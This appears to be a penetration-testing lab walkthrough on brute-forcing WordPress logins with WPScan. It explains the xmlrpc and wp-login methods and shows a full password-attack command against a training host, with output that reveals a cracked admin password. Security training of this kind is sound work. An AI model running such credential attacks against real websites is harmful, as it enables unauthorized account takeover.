WPScan can be used to brute force usernames and passwords. The scan report returned three users registered on the website: admin
, roger
, and david
. The tool uses two kinds of login brute force attacks, xmlrpc
and wp-login
. The wp-login
method will attempt to brute force the normal WordPress login page, while the xmlrpc
method uses the WordPress API to make login attempts through /xmlrpc.php
. The xmlrpc
method is preferred as it is faster.
WPScan-XMLRPC
jadu101@htb[/htb]$ wpscan --password-attack xmlrpc -t 20 -U admin, david -P passwords.txt --url http://blog.inlanefreight.com
[+] URL: http://blog.inlanefreight.com/
[+] Started: Thu Apr 9 13:37:36 2020
[+] Performing password attack on Xmlrpc against 3 user/s
[SUCCESS] - admin / sunshine1
Trying david / Spring2016 Time: 00:00:01 <============> (474 / 474) 100.00% Time: 00:00:01
[i] Valid Combinations Found:
| Username: admin, Password: sunshine1